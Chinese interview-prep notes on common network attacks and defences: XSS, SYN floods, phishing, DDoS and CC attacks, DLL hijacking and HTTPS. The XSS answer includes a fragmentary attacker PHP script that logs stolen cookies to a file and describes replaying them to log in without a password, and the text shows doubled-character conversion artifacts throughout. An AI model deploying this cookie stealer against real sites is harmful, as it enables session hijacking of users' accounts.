在面試時,網(wǎng)絡安全也會被經(jīng)常問到,至少要知道常見的攻擊,以及防御措施。在這里 Mark 下,不做深入分析。
對稱加密和非對稱加密
對稱加密:加解密用同一密鑰,密鑰維護復雜 n(n-1)/2,不適合互聯(lián)網(wǎng)傳輸密鑰,加解密效率高。應用于加密數(shù)據(jù)。
非對稱加密:公鑰推不出私鑰,每個用戶一個非對稱密鑰對就可以,適合于互聯(lián)網(wǎng)傳輸公鑰,但是加密效率低,應用于數(shù)字簽名及加密。
什么是同源策略?
為了防止不同域在用戶瀏覽器中彼此干擾,瀏覽器對從不同來源(域)收到的內(nèi)容進行隔離。瀏覽器不允許任何舊有腳本訪問一個站點的 cookie,否則,會話容易被劫持。只有發(fā)布 cookie 的站點能夠訪問這些 cookie,只有通過該站點返回的頁面所包含或加載的 JavaScript 才能訪問 cookie。
cookie 存在哪里?可以打開嗎?
C:\Users\用戶名\AppData\Roaming\Microsoft\Windows\Cookies工具--文件夾選項--查看--將隱藏被保護的文件的對勾去掉就會看到 cookies 文件夾。
xss 如何盜取 cookie?
攻擊者代碼:
.
.$cookie=$_GET['cookie'];.
.$time=date('Y-m-d g:i:s');..$referer=getenv('HTTP_REFERER');.
.$cookietxt=fopen('cookie.txt','a');.
.fwrite($cookietxt,"time:".$time." cookie:".$cookie."referer:".$referer.""); 注意雙引號,容易出錯.
.fclose($cookietxt);.
.?>.腳本端:..獲取到 cookie 后,用 firebug 找到 cookie,新建 cookie加入 cookie,用 referer 來提交,無需輸入帳號密碼直接登錄進去!
xss 有 cookie 一定可以無用戶名密碼登錄嗎?
基本可以。因為把 cookie 的值給瀏覽器,瀏覽器去訪問頁面會用已有的cookie 去訪問,如果 cookie 有效,就會直接進去。
xss 如何防御?
1. 對前端輸入做過濾和編碼:
比如只允許輸入指定類型的字符,比如電話號格式,注冊用戶名限制等,輸入檢查需要在服務器端完成,在前端完成的限制是容易繞過的;對特殊字符進行過濾和轉(zhuǎn)義;
2. 對輸出做過濾和編碼:在變量值輸出到前端的 HTML 時進行編碼和轉(zhuǎn)義;
3. 給關鍵 cookie 使用 http-only。
SYN 攻擊原理
SYN 攻擊屬于 DOS 攻擊的一種,它利用 TCP 協(xié)議缺陷,通過發(fā)送大量的半連接請求,耗費 CPU 和內(nèi)存資源。
SYN 攻擊除了能影響主機外,還可以危害路由器、防火墻等網(wǎng)絡系統(tǒng),事實上 SYN 攻擊并不管目標是什么系統(tǒng),只要這些系統(tǒng)打開 TCP 服務就可以實施。服務器接收到連接請求(SYN=1),將此信息加入未連接隊列,并發(fā)送請求包給客戶(syn=k,ack=j+1),此時進入 SYN_RECV 狀態(tài)。當服務器未收到客戶端的確認包時,重發(fā)請求包,一直到超時,才將此條目從未連接隊列刪除。配合 IP 欺騙,SYN 攻擊能達到很好的效果,通常,客戶端在短時間內(nèi)偽造大量不存在的 IP 地址,向服務器不斷地發(fā)送 syn 包,服務器回復確認包,并等待客戶的確認,由于源地址是不存在的,服務器需要不斷的重發(fā)直至超時,這些偽造的 SYN 包將長時間占用未連接隊列,正常的 SYN 請求被丟棄,目標系統(tǒng)運行緩慢,嚴重者引起網(wǎng)絡堵塞甚至系統(tǒng)癱瘓。
什么是網(wǎng)絡釣魚?
網(wǎng)絡釣魚是通過大量發(fā)送聲稱來自于銀行或其他知名機構的欺騙性垃圾郵件,意圖引誘收信人給出敏感信息(如用戶名、口令、帳號 ID 、ATMPIN 碼或信用卡詳細信息)的一種攻擊方式。最典型的網(wǎng)絡釣魚攻擊將收信人引誘到一個通過精心設計與目標組織的網(wǎng)站非常相似的釣魚網(wǎng)站上,并獲取收信人在此網(wǎng)站上輸入的個人敏感信息,通常這個攻擊過程不會讓受害者警覺。它常常導引用戶到 URL 與接口外觀與真正網(wǎng)站幾無二致的假冒網(wǎng)站輸入個人數(shù)據(jù)。就算使用強式加密的 SSL 服務器認證,要偵測網(wǎng)站是否仿冒實際上仍很困難。網(wǎng)釣是一種利用社會工程技術來愚弄用戶的實例。它憑恃的是現(xiàn)行網(wǎng)絡安全技術的低親和度。DDOS
分布式拒絕服務(DDoS:Distributed Denial ofService)攻擊指借助于客戶/服務器技術,將多個計算機聯(lián)合起來作為攻擊平臺,對一個或多個目標發(fā)動DDoS 攻擊,從而成倍地提高拒絕服務攻擊的威力。
通常,攻擊者使用一個偷竊帳號將 DDoS 主控程序安裝在一個計算機上,在一個設定的時間主控程序?qū)⑴c大量代理程序通訊,代理程序已經(jīng)被安裝在網(wǎng)絡上的許多計算機上。代理程序收到指令時就發(fā)動攻擊。利用客戶/服務器技術,主控程序能在幾秒鐘內(nèi)激活成百上千次代理程序的運行。
什么是 CC 攻擊?
這個也是知道一些,知道他是 DDos 的變種,正常請求偽造,服務器資源耗盡,最終還是看看百科答案吧:CC 攻擊是 DDOS(分布式拒絕服務)的一種,相比其它的 DDOS 攻擊 CC 似乎更有技術含量一些。這種攻擊你見不到真實源 IP,見不到特別大的異常流量,但造成服務器無法進行正常連接。CC 攻擊的原理就是攻擊者控制某些主機不停地發(fā)大量數(shù)據(jù)包給對方服務器造成服務器資源耗盡,一直到宕機崩潰。
CC 主要是用來攻擊頁面的,每個人都有這樣的體驗:當一個網(wǎng)頁訪問的人數(shù)特別多的時候,打開網(wǎng)頁就慢了,CC 就是模擬多個用戶(多少線程就是多少用戶)不停地進行訪問那些需要大量數(shù)據(jù)操作(就是需要大量 CPU 時間)的頁面,造成服務器資源的浪費,CPU 長時間處于 100%,永遠都有處理不完的連接直至就網(wǎng)絡擁塞,正常的訪問被中止。
Web 服務器被入侵后,怎樣進行排查?
最簡單就是查看下 web 服務器日志 ,看看有沒有異常端口開放,使用安全狗等服務器安全軟件清掃
dll 文件是什么意思,有什么用?
DLL(Dynamic Link Library)文件,即動態(tài)鏈接庫,也有人稱作應用程序拓展。Windows 應用程序中,實行了模塊化設計,也就是說并不是每個應用程序都編寫完所有的功能代碼,而是在運行過程中調(diào)用相應功能的 DLL,不需運行的功能就不調(diào)用,所以大大加快了程序的加載速度和效率,其他應用程序也可以調(diào)用相關的 DLL,這樣也有利于促進代碼重用以及內(nèi)存使用效率,減少了資源占用,而且程序更新時也只要更新相關的 DLL 就可以了。
要注意的是,有些病毒也會偽裝成 DLL 文件,并替換系統(tǒng)的 DLL 文件,需要我們防范。
DLL 劫持原理由于輸入表中只包含 DLL 名而沒有它的路徑名,因此加載程序必須在磁盤上搜索 DLL 文件。
首先會嘗試從當前程序所在的目錄加載 DLL,如果沒找到,則在 Windows 系統(tǒng)目錄中查找,最后是在環(huán)境變量中列出的各個目錄下查找。利用這個特點,先偽造一個系統(tǒng)同名的 DLL,提供同樣的輸出表,每個輸出函數(shù)轉(zhuǎn)向真正的系統(tǒng) DLL。程序調(diào)用系統(tǒng) DLL 時會先調(diào)用當前目錄下偽造的 DLL,完成相關功能后,再跳到系統(tǒng) DLL 同名函數(shù)里執(zhí)行。這個過程用個形象的詞來描述就是系統(tǒng) DLL 被劫持(hijack)了。
偽造的 dll 制作好后,放到程序當前目錄下,這樣當原程序調(diào)用原函數(shù)時就調(diào)用了偽造的 dll 的同名函數(shù),進入劫持 DLL 的代碼,處理完畢后,再調(diào)用原DLL 此函數(shù)。如何防止 DLL 劫持DLL 劫持利用系統(tǒng)未知 DLL 的搜索路徑方式,使得程序加載當前目錄下的系統(tǒng)同名 DLL。所以可以告訴系統(tǒng) DLL 的位置,改變加載系統(tǒng) DLL 的順序不是當前目錄,而是直接到系統(tǒng)目錄下查找。
Https 的作用
內(nèi)容加密建立一個信息安全通道,來保證數(shù)據(jù)傳輸?shù)陌踩?
身份認證確認網(wǎng)站的真實性
數(shù)據(jù)完整性防止內(nèi)容被第三方冒充或者篡改HTTPS 和 HTTP 的區(qū)別:https 協(xié)議需要到 CA 申請證書。http 是超文本傳輸協(xié)議,信息是明文傳輸;https 則是具有安全性的 ssl 加密傳輸協(xié)議。http 和 https 使用的是完全不同的連接方式,用的端口也不一樣,前者是 80,后者是 443。http 的連接很簡單,是無狀態(tài)的;HTTPS 協(xié)議是由 SSL+HTTP 協(xié)議構建的可進行加密傳輸、身份認證的網(wǎng)絡協(xié)議,比 http 協(xié)議安全。